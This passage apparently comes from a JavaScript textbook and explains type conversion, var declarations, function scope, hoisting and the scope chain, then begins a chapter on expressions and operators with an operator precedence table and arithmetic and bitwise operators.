- Otherwise, JavaScript throws a TypeError.

The details of this object-to-number conversion explain why an empty array converts to the number 0 and why an array with a single element may also convert to a number. Arrays inherit the default `valueOf()` method that returns an object rather than a primitive value, so array-to-number conversion relies on the `toString()` method. Empty arrays convert to the empty string. And the empty string converts to the number 0. An array with a single element converts to the same string that that one element does. If an array contains a single number, that number is converted to a string, and then back to a number.

The `+` operator in JavaScript performs numeric addition and string concatenation. If either of its operands is an object, JavaScript converts the object using a special object-to-primitive conversion rather than the object-to-number conversion used by the other arithmetic operators. The `==` equality operator is similar. If asked to compare an object with a primitive value, it converts the object using the object-to-primitive conversion.

The object-to-primitive conversion used by `+` and `==` includes a special case for Date objects. The Date class is the only predefined core JavaScript type that defines meaningful conversions to both strings and numbers. The object-to-primitive conversion is basically an object-to-number conversion (`valueof()` first) for all objects that are not dates, and an object-to-string conversion (`toString()` first) for Date objects. The conversion is not exactly the same as those explained above, however: the primitive value returned by `valueOf()` or `toString()` is used directly without being forced to a number or string.

The `<` operator and the other relational operators perform object-to-primitive conversions like `==` does, but without the special case for Date objects: any object is converted by trying `valueOf()` first and then `toString()`. Whatever primitive value is obtained is used directly, without being further converted to a number or string.

`+`, `==`, `!=` and the relational operators are the only ones that perform this special kind of string-to-primitive conversions. Other operators convert more explicitly to a specified type and do not have any special case for Date objects. The `-` operator, for example, converts its operands to numbers. The following code demonstrates the behavior of `+`, `-`, `==`, and `>` with Date objects:

```
var now = new Date();     // Create a Date object
typeof (now + 1)          // => "string": + converts dates to strings
typeof (now - 1)          // => "number": - uses object-to-number conversion
```

```
now == now.toString()     // => true: implicit and explicit string conversions
now > (now -1)            // => true: > converts a Date to a number
```

3.9 Variable Declaration

Before you use a variable in a JavaScript program, you should *declare* it. Variables are declared with the `var` keyword, like this:

```
var i;
var sum;
```

You can also declare multiple variables with the same `var` keyword:

```
var i, sum;
```

And you can combine variable declaration with variable initialization:

```
var message = "hello";
var i = 0, j = 0, k = 0;
```

If you don't specify an initial value for a variable with the `var` statement, the variable is declared, but its value is `undefined` until your code stores a value into it.

Note that the `var` statement can also appear as part of the `for` and `for/in` loops (introduced in Chapter 5), allowing you to succinctly declare the loop variable as part of the loop syntax itself. For example:

```
for(var i = 0; i < 10; i++) console.log(i);
for(var i = 0, j=10; i < 10; i++,j--) console.log(i*j);
for(var p in o) console.log(p);
```

If you're used to statically typed languages such as C or Java, you will have noticed that there is no type associated with JavaScript's variable declarations. A JavaScript variable can hold a value of any type. For example, it is perfectly legal in JavaScript to assign a number to a variable and then later assign a string to that variable:

```
var i = 10;
i = "ten";
```

3.9.1 Repeated and Omitted Declarations

It is legal and harmless to declare a variable more than once with the `var` statement. If the repeated declaration has an initializer, it acts as if it were simply an assignment statement.

If you attempt to read the value of an undeclared variable, JavaScript generates an error. In ECMAScript 5 strict mode (§5.7.3), it is also an error to assign a value to an undeclared variable. Historically, however, and in non-strict mode, if you assign a value to an undeclared variable, JavaScript actually creates that variable as a property of the global object, and it works much like (but not exactly the same as, see §3.10.2) a properly declared global variable. This means that you can get away with leaving your global variables undeclared. This is a bad habit and a source of bugs, however, and you should always declare your variables with `var`.

3.10 Variable Scope

The *scope* of a variable is the region of your program source code in which it is defined. A *global* variable has global scope; it is defined everywhere in your JavaScript code. On the other hand, variables declared within a function are defined only within the body of the function. They are *local* variables and have local scope. Function parameters also count as local variables and are defined only within the body of the function.

Within the body of a function, a local variable takes precedence over a global variable with the same name. If you declare a local variable or function parameter with the same name as a global variable, you effectively hide the global variable:

```
var scope = "global";         // Declare a global variable
function checkscope() {
    var scope = "local";      // Declare a local variable with the same name
    return scope;             // Return the local value, not the global one
}
checkscope()                  // => "local"
```

Although you can get away with not using the `var` statement when you write code in the global scope, you must always use `var` to declare local variables. Consider what happens if you don't:

```
scope = "global";            // Declare a global variable, even without var.
function checkscope2() {
    scope = "local";         // Oops! We just changed the global variable.
    myscope = "local";       // This implicitly declares a new global variable.
    return [scope, myscope]; // Return two values.
}
checkscope2()                // => ["local", "local"]: has side effects!
scope                        // => "local": global variable has changed.
myscope                      // => "local": global namespace cluttered up.
```

Function definitions can be nested. Each function has its own local scope, so it is possible to have several nested layers of local scope. For example:

```
var scope = "global scope";          // A global variable
function checkscope() {
    var scope = "local scope";       // A local variable
    function nested() {
        var scope = "nested scope";  // A nested scope of local variables
        return scope;                // Return the value in scope here
    }
    return nested();
}
checkscope()                         // => "nested scope"
```

3.10.1 Function Scope and Hoisting

In some C-like programming languages, each block of code within curly braces has its own scope, and variables are not visible outside of the block in which they are declared. This is called *block scope*, and JavaScript does *not* have it. Instead, JavaScript uses

function scope: variables are visible within the function in which they are defined and within any functions that are nested within that function.

In the following code, the variables `i`, `j`, and `k` are declared in different spots, but all have the same scope—all three are defined throughout the body of the function:

```
function test(o) {
    var i = 0;                      // i is defined throughout function
    if (typeof o == "object") {
        var j = 0;                  // j is defined everywhere, not just block
        for(var k=0; k < 10; k++) { // k is defined everywhere, not just loop
            console.log(k);         // print numbers 0 through 9
        }
        console.log(k);             // k is still defined: prints 10
    }
    console.log(j);                 // j is defined, but may not be initialized
}
```

JavaScript's function scope means that all variables declared within a function are visible *throughout* the body of the function. Curiously, this means that variables are even visible before they are declared. This feature of JavaScript is informally known as *hoisting*: JavaScript code behaves as if all variable declarations in a function (but not any associated assignments) are "hoisted" to the top of the function. Consider the following code:

```
var scope = "global";
function f() {
    console.log(scope);  // Prints "undefined", not "global"
    var scope = "local"; // Variable initialized here, but defined everywhere
    console.log(scope);  // Prints "local"
}
```

You might think that the first line of the function would print "global", because the `var` statement declaring the local variable has not yet been executed. Because of the rules of function scope, however, this is not what happens. The local variable is defined throughout the body of the function, which means the global variable by the same name is hidden throughout the function. Although the local variable is defined throughout, it is not actually initialized until the `var` statement is executed. Thus, the function above is equivalent to the following, in which the variable declaration is "hoisted" to the top and the variable initialization is left where it is:

```
function f() {
    var scope;          // Local variable is declared at the top of the function
    console.log(scope); // It exists here, but still has "undefined" value
    scope = "local";    // Now we initialize it and give it a value
    console.log(scope); // And here it has the value we expect
}
```

In programming languages with block scope, it is generally good programming practice to declare variables as close as possible to where they are used and with the narrowest possible scope. Since JavaScript does not have block scope, some programmers make a point of declaring all their variables at the top of the function, rather than trying to

declare them closer to the point at which they are used. This technique makes their source code accurately reflect the true scope of the variables.

3.10.2 Variables As Properties

When you declare a global JavaScript variable, what you are actually doing is defining a property of the global object (§3.5). If you use `var` to declare the variable, the property that is created is nonconfigurable (see §6.7), which means that it cannot be deleted with the `delete` operator. We've already noted that if you're not using strict mode and you assign a value to an undeclared variable, JavaScript automatically creates a global variable for you. Variables created in this way are regular, configurable properties of the global object and they can be deleted:

```
var truevar = 1;     // A properly declared global variable, nondeletable.
fakevar = 2;         // Creates a deletable property of the global object.
this.fakevar2 = 3;   // This does the same thing.
delete truevar       // => false: variable not deleted
delete fakevar       // => true: variable deleted
delete this.fakevar2 // => true: variable deleted
```

JavaScript global variables are properties of the global object, and this is mandated by the ECMAScript specification. There is no such requirement for local variables, but you can imagine local variables as the properties of an object associated with each function invocation. The ECMAScript 3 specification referred to this object as the "call object," and the ECMAScript 5 specification calls it a "declarative environment record." JavaScript allows us to refer to the global object with the `this` keyword, but it does not give us any way to refer to the object in which local variables are stored. The precise nature of these objects that hold local variables is an implementation detail that need not concern us. The notion that these local variable objects exist, however, is an important one, and it is developed further in the next section.

3.10.3 The Scope Chain

JavaScript is a *lexically scoped* language: the scope of a variable can be thought of as the set of source code lines for which the variable is defined. Global variables are defined throughout the program. Local variables are defined throughout the function in which they are declared, and also within any functions nested within that function.

If we think of local variables as properties of some kind of implementation-defined object, then there is another way to think about variable scope. Every chunk of JavaScript code (global code or functions) has a *scope chain* associated with it. This scope chain is a list or chain of objects that defines the variables that are "in scope" for that code. When JavaScript needs to look up the value of a variable `x` (a process called *variable resolution*), it starts by looking at the first object in the chain. If that object has a property named `x`, the value of that property is used. If the first object does not have a property named `x`, JavaScript continues the search with the next object in the chain. If the second object does not have a property named `x`, the search moves on to the next

object, and so on. If `x` is not a property of any of the objects in the scope chain, then `x` is not in scope for that code, and a ReferenceError occurs.

In top-level JavaScript code (i.e., code not contained within any function definitions), the scope chain consists of a single object, the global object. In a non-nested function, the scope chain consists of two objects. The first is the object that defines the function's parameters and local variables, and the second is the global object. In a nested function, the scope chain has three or more objects. It is important to understand how this chain of objects is created. When a function is defined, it stores the scope chain then in effect. When that function is invoked, it creates a new object to store its local variables, and adds that new object to the stored scope chain to create a new, longer, chain that represents the scope for that function invocation. This becomes more interesting for nested functions because each time the outer function is called, the inner function is defined again. Since the scope chain differs on each invocation of the outer function, the inner function will be subtly different each time it is defined—the code of the inner function will be identical on each invocation of the outer function, but the scope chain associated with that code will be different.

This notion of a scope chain is helpful for understanding the `with` statement (§5.7.1) and is crucial for understanding closures (§8.6).

CHAPTER 4

Expressions and Operators

An *expression* is a phrase of JavaScript that a JavaScript interpreter can *evaluate* to produce a value. A constant embedded literally in your program is a very simple kind of expression. A variable name is also a simple expression that evaluates to whatever value has been assigned to that variable. Complex expressions are built from simpler expressions. An array access expression, for example, consists of one expression that evaluates to an array followed by an open square bracket, an expression that evaluates to an integer, and a close square bracket. This new, more complex expression evaluates to the value stored at the specified index of the specified array. Similarly, a function invocation expression consists of one expression that evaluates to a function object and zero or more additional expressions that are used as the arguments to the function.

The most common way to build a complex expression out of simpler expressions is with an *operator*. An operator combines the values of its *operands* (usually two of them) in some way and evaluates to a new value. The multiplication operator `*` is a simple example. The expression `x * y` evaluates to the product of the values of the expressions `x` and `y`. For simplicity, we sometimes say that an operator *returns* a value rather than "evaluates to" a value.

This chapter documents all of JavaScript's operators, and it also explains expressions (such as array indexing and function invocation) that do not use operators. If you already know another programming language that uses C-style syntax, you'll find that the syntax of most of JavaScript's expressions and operators is already familiar to you.

4.1 Primary Expressions

The simplest expressions, known as *primary expressions*, are those that stand alone—they do not include any simpler expressions. Primary expressions in JavaScript are constant or *literal* values, certain language keywords, and variable references.

Literals are constant values that are embedded directly in your program. They look like these:

```
1.23        // A number literal
"hello"     // A string literal
/pattern/   // A regular expression literal
```

JavaScript syntax for number literals was covered in §3.1. String literals were documented in §3.2. The regular expression literal syntax was introduced in §3.2.4 and will be documented in detail in Chapter 10.

Some of JavaScript's reserved words are primary expressions:

```
true      // Evalutes to the boolean true value
false     // Evaluates to the boolean false value
null      // Evaluates to the null value
this      // Evaluates to the "current" object
```

We learned about `true`, `false`, and `null` in §3.3 and §3.4. Unlike the other keywords, `this` is not a constant—it evaluates to different values in different places in the program. The `this` keyword is used in object-oriented programming. Within the body of a method, `this` evaluates to the object on which the method was invoked. See §4.5, Chapter 8 (especially §8.2.2), and Chapter 9 for more on `this`.

Finally, the third type of primary expression is the bare variable reference:

```
i            // Evaluates to the value of the variable i.
sum          // Evaluates to the value of the variable sum.
undefined    // undefined is a global variable, not a keyword like null.
```

When any identifier appears by itself in a program, JavaScript assumes it is a variable and looks up its value. If no variable with that name exists, the expression evaluates to the `undefined` value. In the strict mode of ECMAScript 5, however, an attempt to evaluate a nonexistent variable throws a ReferenceError instead.

4.2 Object and Array Initializers

Object and array *initializers* are expressions whose value is a newly created object or array. These initializer expressions are sometimes called "object literals" and "array literals." Unlike true literals, however, they are not primary expressions, because they include a number of subexpressions that specify property and element values. Array initializers have a slightly simpler syntax, and we'll begin with those.

An array initializer is a comma-separated list of expressions contained within square brackets. The value of an array initializer is a newly created array. The elements of this new array are initialized to the values of the comma-separated expressions:

```
[]        // An empty array: no expressions inside brackets means no elements
[1+2,3+4] // A 2-element array.  First element is 3, second is 7
```

The element expressions in an array initializer can themselves be array initializers, which means that these expressions can create nested arrays:

```
var matrix = [[1,2,3], [4,5,6], [7,8,9]];
```

The element expressions in an array initializer are evaluated each time the array initializer is evaluated. This means that the value of an array initializer expression may be different each time it is evaluated.

Undefined elements can be included in an array literal by simply omitting a value between commas. For example, the following array contains five elements, including three undefined elements:

```
var sparseArray = [1,,,,5];
```

A single trailing comma is allowed after the last expression in an array initializer and does not create an undefined element.

Object initializer expressions are like array initializer expressions, but the square brackets are replaced by curly brackets, and each subexpression is prefixed with a property name and a colon:

```
var p = { x:2.3, y:-1.2 };  // An object with 2 properties
var q = {};                 // An empty object with no properties
q.x = 2.3; q.y = -1.2;      // Now q has the same properties as p
```

Object literals can be nested. For example:

```
var rectangle = { upperLeft:  { x: 2, y: 2 },
                  lowerRight: { x: 4, y: 5 } };
```

The expressions in an object initializer are evaluated each time the object initializer is evaluated, and they need not have constant values: they can be arbitrary JavaScript expressions. Also, the property names in object literals may be strings rather than identifiers (this is useful to specify property names that are reserved words or are otherwise not legal identifiers):

```
var side = 1;
var square = { "upperLeft":  { x: p.x, y: p.y },
               'lowerRight': { x: p.x + side, y: p.y + side}};
```

We'll see object and array initializers again in Chapters 6 and 7.

4.3 Function Definition Expressions

A function definition expression defines a JavaScript function, and the value of such an expression is the newly defined function. In a sense, a function definition expression is a "function literal" in the same way that an object initializer is an "object literal." A function definition expression typically consists of the keyword `function` followed by a comma-separated list of zero or more identifiers (the parameter names) in parentheses and a block of JavaScript code (the function body) in curly braces. For example:

```
// This function returns the square of the value passed to it.
var square = function(x) { return x * x; }
```

A function definition expression can also include a name for the function. Functions can also be defined using a function statement rather than a function expression. Complete details on function definition are in Chapter 8.

4.4 Property Access Expressions

A property access expression evaluates to the value of an object property or an array element. JavaScript defines two syntaxes for property access:

```
expression . identifier
expression [ expression ]
```

The first style of property access is an expression followed by a period and an identifier. The expression specifies the object, and the identifier specifies the name of the desired property. The second style of property access follows the first expression (the object or array) with another expression in square brackets. This second expression specifies the name of the desired property of the index of the desired array element. Here are some concrete examples:

```
var o = {x:1,y:{z:3}};  // An example object
var a = [o,4,[5,6]];    // An example array that contains the object
o.x                     // => 1: property x of expression o
o.y.z                   // => 3: property z of expression o.y
o["x"]                  // => 1: property x of object o
a[1]                    // => 4: element at index 1 of expression a
a[2]["1"]               // => 6: element at index 1 of expression a[2]
a[0].x                  // => 1: property x of expression a[0]
```

With either type of property access expression, the expression before the . or [is first evaluated. If the value is `null` or `undefined`, the expression throws a TypeError, since these are the two JavaScript values that cannot have properties. If the value is not an object (or array), it is converted to one (see §3.6). If the object expression is followed by a dot and an identifier, the value of the property named by that identifier is looked up and becomes the overall value of the expression. If the object expression is followed by another expression in square brackets, that second expression is evaluated and converted to a string. The overall value of the expression is then the value of the property named by that string. In either case, if the named property does not exist, then the value of the property access expression is `undefined`.

The `.identifier` syntax is the simpler of the two property access options, but notice that it can only be used when the property you want to access has a name that is a legal identifier, and when you know then name when you write the program. If the property name is a reserved word or includes spaces or punctuation characters, or when it is a number (for arrays), you must use the square bracket notation. Square brackets are also used when the property name is not static but is itself the result of a computation (see §6.2.1 for an example).

Objects and their properties are covered in detail in Chapter 6, and arrays and their elements are covered in Chapter 7.

4.5 Invocation Expressions

An *invocation expression* is JavaScript's syntax for calling (or executing) a function or method. It starts with a function expression that identifies the function to be called. The function expression is followed by an open parenthesis, a comma-separated list of zero or more argument expressions, and a close parenthesis. Some examples:

```
f(0)           // f is the function expression; 0 is the argument expression.
Math.max(x,y,z) // Math.max is the function; x, y and z are the arguments.
a.sort()       // a.sort is the function; there are no arguments.
```

When an invocation expression is evaluated, the function expression is evaluated first, and then the argument expressions are evaluated to produce a list of argument values. If the value of the function expression is not a callable object, a TypeError is thrown. (All functions are callable. Host objects may also be callable even if they are not functions. This distinction is explored in §8.7.7.) Next, the argument values are assigned, in order, to the parameter names specified when the function was defined, and then the body of the function is executed. If the function uses a `return` statement to return a value, then that value becomes the value of the invocation expression. Otherwise, the value of the invocation expression is `undefined`. Complete details on function invocation, including an explanation of what happens when the number of argument expressions does not match the number of parameters in the function definition, are in Chapter 8.

Every invocation expression includes a pair of parentheses and an expression before the open parenthesis. If that expression is a property access expression, then the invocation is known as a *method invocation*. In method invocations, the object or array that is the subject of the property access becomes the value of the `this` parameter while the body of the function is being executed. This enables an object-oriented programming paradigm in which functions (known by their OO name, "methods") operate on the object of which they are part. See Chapter 9 for details.

Invocation expressions that are not method invocations normally use the global object as the value of the `this` keyword. In ECMAScript 5, however, functions that are defined in strict mode are invoked with `undefined` as their `this` value rather than the global object. See §5.7.3 for more on strict mode.

4.6 Object Creation Expressions

An *object creation expression* creates a new object and invokes a function (called a constructor) to initialize the properties of that object. Object creation expressions are like invocation expressions except that they are prefixed with the keyword `new`:

```
new Object()
new Point(2,3)
```

If no arguments are passed to the constructor function in an object creation expression, the empty pair of parentheses can be omitted:

```
new Object
new Date
```

When an object creation expression is evaluated, JavaScript first creates a new empty object, just like the one created by the object initializer `{}`. Next, it invokes the specified function with the specified arguments, passing the new object as the value of the `this` keyword. The function can then use `this` to initialize the properties of the newly created object. Functions written for use as constructors do not return a value, and the value of the object creation expression is the newly created and initialized object. If a constructor does return an object value, that value becomes the value of the object creation expression and the newly created object is discarded.

Constructors are explained in more detail in Chapter 9.

4.7 Operator Overview

Operators are used for JavaScript's arithmetic expressions, comparison expressions, logical expressions, assignment expressions, and more. Table 4-1 summarizes the operators and serves as a convenient reference.

Note that most operators are represented by punctuation characters such as `+` and `=`. Some, however, are represented by keywords such as `delete` and `instanceof`. Keyword operators are regular operators, just like those expressed with punctuation; they simply have a less succinct syntax.

Table 4-1 is organized by operator precedence. The operators listed first have higher precedence than those listed last. Operators separated by a horizontal line have different precedence levels. The column labeled A gives the operator associativity, which can be L (left-to-right) or R (right-to-left), and the column N specifies the number of operands. The column labeled Types lists the expected types of the operands and (after the → symbol) the result type for the operator. The subsections that follow the table explain the concepts of precedence, associativity, and operand type. The operators themselves are individually documented following that discussion.

Table 4-1. JavaScript operators

Operator	Operation	A	N	Types
++	Pre- or post-increment	R	1	lval→num
--	Pre- or post-decrement	R	1	lval→num
-	Negate number	R	1	num→num
+	Convert to number	R	1	num→num
~	Invert bits	R	1	int→int
!	Invert boolean value	R	1	bool→bool

Operator	Operation	A	N	Types
`delete`	Remove a property	R	1	lval→bool
`typeof`	Determine type of operand	R	1	any→str
`void`	Return undefined value	R	1	any→undef
`*`, `/`, `%`	Multiply, divide, remainder	L	2	num,num→num
`+`, `-`	Add, subtract	L	2	num,num→num
`+`	Concatenate strings	L	2	str,str→str
`<<`	Shift left	L	2	int,int→int
`>>`	Shift right with sign extension	L	2	int,int→int
`>>>`	Shift right with zero extension	L	2	int,int→int
`<`, `<=`, `>`, `>=`	Compare in numeric order	L	2	num,num→bool
`<`, `<=`, `>`, `>=`	Compare in alphabetic order	L	2	str,str→bool
`instanceof`	Test object class	L	2	obj,func→bool
`in`	Test whether property exists	L	2	str,obj→bool
`==`	Test for equality	L	2	any,any→bool
`!=`	Test for inequality	L	2	any,any→bool
`===`	Test for strict equality	L	2	any,any→bool
`!==`	Test for strict inequality	L	2	any,any→bool
`&`	Compute bitwise AND	L	2	int,int→int
`^`	Compute bitwise XOR	L	2	int,int→int
`|`	Compute bitwise OR	L	2	int,int→int
`&&`	Compute logical AND	L	2	any,any→any
`||`	Compute logical OR	L	2	any,any→any
`?:`	Choose 2nd or 3rd operand	R	3	bool,any,any→any
`=`	Assign to a variable or property	R	2	lval,any→any
`*=`, `/=`, `%=`, `+=`, `-=`, `&=`, `^=`, `|=`, `<<=`, `>>=`, `>>>=`	Operate and assign	R	2	lval,any→any
`,`	Discard 1st operand, return second	L	2	any,any→any

4.7.1 Number of Operands

Operators can be categorized based on the number of operands they expect (their *arity*). Most JavaScript operators, like the * multiplication operator, are *binary operators* that combine two expressions into a single, more complex expression. That is, they expect two operands. JavaScript also supports a number of *unary operators*, which convert a single expression into a single, more complex expression. The - operator in

the expression `-x` is a unary operator that performs the operation of negation on the operand `x`. Finally, JavaScript supports one *ternary operator*, the conditional operator `?:`, which combines three expressions into a single expression.

4.7.2 Operand and Result Type

Some operators work on values of any type, but most expect their operands to be of a specific type, and most operators return (or evaluate to) a value of a specific type. The Types column in Table 4-1 specifies operand types (before the arrow) and result type (after the arrow) for the operators.

JavaScript operators usually convert the type (see §3.8) of their operands as needed. The multiplication operator `*` expects numeric operands, but the expression `"3" * "5"` is legal because JavaScript can convert the operands to numbers. The value of this expression is the number 15, not the string "15", of course. Remember also that every JavaScript value is either "truthy" or "falsy," so operators that expect boolean operands will work with an operand of any type.

Some operators behave differently depending on the type of the operands used with them. Most notably, the `+` operator adds numeric operands but concatenates string operands. Similarly, the comparison operators such as `<` perform comparison in numerical or alphabetical order depending on the type of the operands. The descriptions of individual operators explain their type-dependencies and specify what type conversions they perform.

4.7.3 Lvalues

Notice that the assignment operators and a few of the other operators listed in Table 4-1 expect an operand of type `lval`. *lvalue* is a historical term that means "an expression that can legally appear on the left side of an assignment expression." In JavaScript, variables, properties of objects, and elements of arrays are lvalues. The ECMAScript specification allows built-in functions to return lvalues but does not define any functions that behave that way.

4.7.4 Operator Side Effects

Evaluating a simple expression like `2 * 3` never affects the state of your program, and any future computation your program performs will be unaffected by that evaluation. Some expressions, however, have *side effects*, and their evaluation may affect the result of future evaluations. The assignment operators are the most obvious example: if you assign a value to a variable or property, that changes the value of any expression that uses that variable or property. The `++` and `--` increment and decrement operators are similar, since they perform an implicit assignment. The `delete` operator also has side effects: deleting a property is like (but not the same as) assigning `undefined` to the property.

No other JavaScript operators have side effects, but function invocation and object creation expressions will have side effects if any of the operators used in the function or constructor body have side effects.

4.7.5 Operator Precedence

The operators listed in Table 4-1 are arranged in order from high precedence to low precedence, with horizontal lines separating groups of operators at the same precedence level. Operator precedence controls the order in which operations are performed. Operators with higher precedence (nearer the top of the table) are performed before those with lower precedence (nearer to the bottom).

Consider the following expression:

```
w = x + y*z;
```

The multiplication operator `*` has a higher precedence than the addition operator `+`, so the multiplication is performed before the addition. Furthermore, the assignment operator `=` has the lowest precedence, so the assignment is performed after all the operations on the right side are completed.

Operator precedence can be overridden with the explicit use of parentheses. To force the addition in the previous example to be performed first, write:

```
w = (x + y)*z;
```

Note that property access and invocation expressions have higher precedence than any of the operators listed in Table 4-1. Consider this expression:

```
typeof my.functions[x](y)
```

Although `typeof` is one of the highest-priority operators, the `typeof` operation is performed on the result of the two property accesses and the function invocation.

In practice, if you are at all unsure about the precedence of your operators, the simplest thing to do is to use parentheses to make the evaluation order explicit. The rules that are important to know are these: multiplication and division are performed before addition and subtraction, and assignment has very low precedence and is almost always performed last.

4.7.6 Operator Associativity

In Table 4-1, the column labeled A specifies the *associativity* of the operator. A value of L specifies left-to-right associativity, and a value of R specifies right-to-left associativity. The associativity of an operator specifies the order in which operations of the same precedence are performed. Left-to-right associativity means that operations are performed from left to right. For example, the subtraction operator has left-to-right associativity, so:

```
w = x - y - z;
```

is the same as:

```
w = ((x - y) - z);
```

On the other hand, the following expressions:

```
x = ~-y;
w = x = y = z;
q = a?b:c?d:e?f:g;
```

are equivalent to:

```
x = ~(-y); w = (x = (y = z)); q =
a?b:(c?d:(e?f:g));
```

because the unary, assignment, and ternary conditional operators have right-to-left associativity.

4.7.7 Order of Evaluation

Operator precedence and associativity specify the order in which operations are performed in a complex expression, but they do not specify the order in which the subexpressions are evaluated. JavaScript always evaluates expressions in strictly left-to-right order. In the expression `w=x+y*z`, for example, the subexpression `w` is evaluated first, followed by `x`, `y`, and `z`. Then the values of `y` and `z` are multiplied, added to the value of `x`, and assigned to the variable or property specified by expression `w`. Adding parentheses to the expressions can change the relative order of the multiplication, addition, and assignment, but not the left-to-right order of evaluation.

Order of evaluation only makes a difference if any of the expressions being evaluated has side effects that affect the value of another expression. If expression `x` increments a variable that is used by expression `z`, then the fact that `x` is evaluated before `z` is important.

4.8 Arithmetic Expressions

This section covers the operators that perform arithmetic or other numerical manipulations on their operands. The multiplication, division, and subtraction operators are straightforward and are covered first. The addition operator gets a subsection of its own because it can also perform string concatenation and has some unusual type conversion rules. The unary operators and the bitwise operators are also covered in subsections of their own.

The basic arithmetic operators are `*` (multiplication), `/` (division), `%` (modulo: remainder after division), `+` (addition), and `-` (subtraction). As noted, we'll discuss the `+` operator in a section of its own. The other basic four operators simply evaluate their operands, convert the values to numbers if necessary, and then compute the product, quotient, remainder, or difference between the values. Non-numeric operands that cannot convert to numbers convert to the `NaN` value. If either operand is (or converts to) `NaN`, the result of the operation is also `NaN`.

Download from Wow! eBook <www.wowebook.com>

The / operator divides its first operand by its second. If you are used to programming languages that distinguish between integer and floating-point numbers, you might expect to get an integer result when you divide one integer by another. In JavaScript, however, all numbers are floating-point, so all division operations have floating-point results: `5/2` evaluates to `2.5`, not `2`. Division by zero yields positive or negative infinity, while `0/0` evaluates to `NaN`: neither of these cases raises an error.

The `%` operator computes the first operand modulo the second operand. In other words, it returns the remainder after whole-number division of the first operand by the second operand. The sign of the result is the same as the sign of the first operand. For example, `5 % 2` evaluates to `1` and `-5 % 2` evaluates to `-1`.

While the modulo operator is typically used with integer operands, it also works for floating-point values. For example, `6.5 % 2.1` evaluates to `0.2`.

4.8.1 The + Operator

The binary + operator adds numeric operands or concatenates string operands:

```
1 + 2                       // => 3
"hello" + " " + "there"     // => "hello there"
"1" + "2"                   // => "12"
```

When the values of both operands are numbers, or are both strings, then it is obvious what the + operator does. In any other case, however, type conversion is necessary, and the operation to be performed depends on the conversion performed. The conversions rules for + give priority to string concatenation: if either of the operands is a string or an object that converts to a string, the other operand is converted to a string and concatenation is performed. Addition is performed only if neither operand is string-like.

Technically, the + operator behaves like this:

- If either of its operand values is an object, it converts it to a primitive using the object-to-primitive algorithm described in §3.8.3: Date objects are converted by their `toString()` method, and all other objects are converted via `valueOf()`, if that method returns a primitive value. Most objects do not have a useful `valueOf()` method, however, so they are converted via `toString()` as well.
- After object-to-primitive conversion, if either operand is a string, the other is converted to a string and concatenation is performed.
- Otherwise, both operands are converted to numbers (or to `NaN`) and addition is performed.

Here are some examples:

```
1 + 2         // => 3: addition
"1" + "2"     // => "12": concatenation
"1" + 2       // => "12": concatenation after number-to-string
1 + {}        // => "1[object Object]": concatenation after object-to-string
true + true   // => 2: addition after boolean-to-number
```

```
2 + null      // => 2: addition after null converts to 0
2 + undefined // => NaN: addition after undefined converts to NaN
```

Finally, it is important to note that when the + operator is used with strings and numbers, it may not be associative. That is, the result may depend on the order in which operations are performed. For example:

```
1 + 2 + " blind mice";    // => "3 blind mice"
1 + (2 + " blind mice");  // => "12 blind mice"
```

The first line has no parentheses, and the + operator has left-to-right associativity, so the two numbers are added first, and their sum is concatenated with the string. In the second line, parentheses alter this order of operations: the number 2 is concatenated with the string to produce a new string. Then the number 1 is concatenated with the new string to produce the final result.

4.8.2 Unary Arithmetic Operators

Unary operators modify the value of a single operand to produce a new value. In JavaScript, the unary operators all have high precedence and are all right-associative. The arithmetic unary operators described in this section (+, -, ++, and --) all convert their single operand to a number, if necessary. Note that the punctuation characters + and - are used as both unary and binary operators.

The unary arithmetic operators are the following:

Unary plus (+)
: The unary plus operator converts its operand to a number (or to NaN) and returns that converted value. When used with an operand that is already a number, it doesn't do anything.

Unary minus (-)
: When - is used as a unary operator, it converts its operand to a number, if necessary, and then changes the sign of the result.

Increment (++)
: The ++ operator increments (i.e., adds 1 to) its single operand, which must be an lvalue (a variable, an element of an array, or a property of an object). The operator converts its operand to a number, adds 1 to that number, and assigns the incremented value back into the variable, element, or property.

  The return value of the ++ operator depends on its position relative to the operand. When used before the operand, where it is known as the pre-increment operator, it increments the operand and evaluates to the incremented value of that operand. When used after the operand, where it is known as the post-increment operator, it increments its operand but evaluates to the *unincremented* value of that operand. Consider the difference between these two lines of code:

```
var i = 1, j = ++i;    // i and j are both 2
var i = 1, j = i++;    // i is 2, j is 1
```

Note that the expression `++x` is not always the same as `x=x+1`. The `++` operator never performs string concatenation: it always converts its operand to a number and increments it. If `x` is the string "1", `++x` is the number 2, but `x+1` is the string "11".

Also note that, because of JavaScript's automatic semicolon insertion, you cannot insert a line break between the post-increment operator and the operand that precedes it. If you do so, JavaScript will treat the operand as a complete statement by itself and insert a semicolon before it.

This operator, in both its pre- and post-increment forms, is most commonly used to increment a counter that controls a `for` loop (§5.5.3).

Decrement (`--`)

The `--` operator expects an lvalue operand. It converts the value of the operand to a number, subtracts 1, and assigns the decremented value back to the operand. Like the `++` operator, the return value of `--` depends on its position relative to the operand. When used before the operand, it decrements and returns the decremented value. When used after the operand, it decrements the operand but returns the *undecremented* value. When used after its operand, no line break is allowed between the operand and the operator.

4.8.3 Bitwise Operators

The bitwise operators perform low-level manipulation of the bits in the binary representation of numbers. Although they do not perform traditional arithmetic operations, they are categorized as arithmetic operators here because they operate on numeric operands and return a numeric value. These operators are not commonly used in JavaScript programming, and if you are not familiar with the binary representation of decimal integers, you can probably skip this section. Four of these operators perform Boolean algebra on the individual bits of the operands, behaving as if each bit in each operand were a boolean value (1=true, 0=false). The other three bitwise operators are used to shift bits left and right.

The bitwise operators expect integer operands and behave as if those values were represented as 32-bit integers rather than 64-bit floating-point values. These operators convert their operands to numbers, if necessary, and then coerce the numeric values to 32-bit integers by dropping any fractional part and any bits beyond the 32nd. The shift operators require a right-side operand between 0 and 31. After converting this operand to an unsigned 32-bit integer, they drop any bits beyond the 5th, which yields a number in the appropriate range. Surprisingly, `NaN`, `Infinity`, and `-Infinity` all convert to 0 when used as operands of these bitwise operators.

Bitwise AND (`&`)

The `&` operator performs a Boolean AND operation on each bit of its integer arguments. A bit is set in the result only if the corresponding bit is set in both operands. For example, `0x1234 & 0x00FF` evaluates to `0x0034`.

Bitwise OR (|)

The `|` operator performs a Boolean OR operation on each bit of its integer arguments. A bit is set in the result if the corresponding bit is set in one or both of the operands. For example, `0x1234 | 0x00FF` evaluates to `0x12FF`.

Bitwise XOR (^)

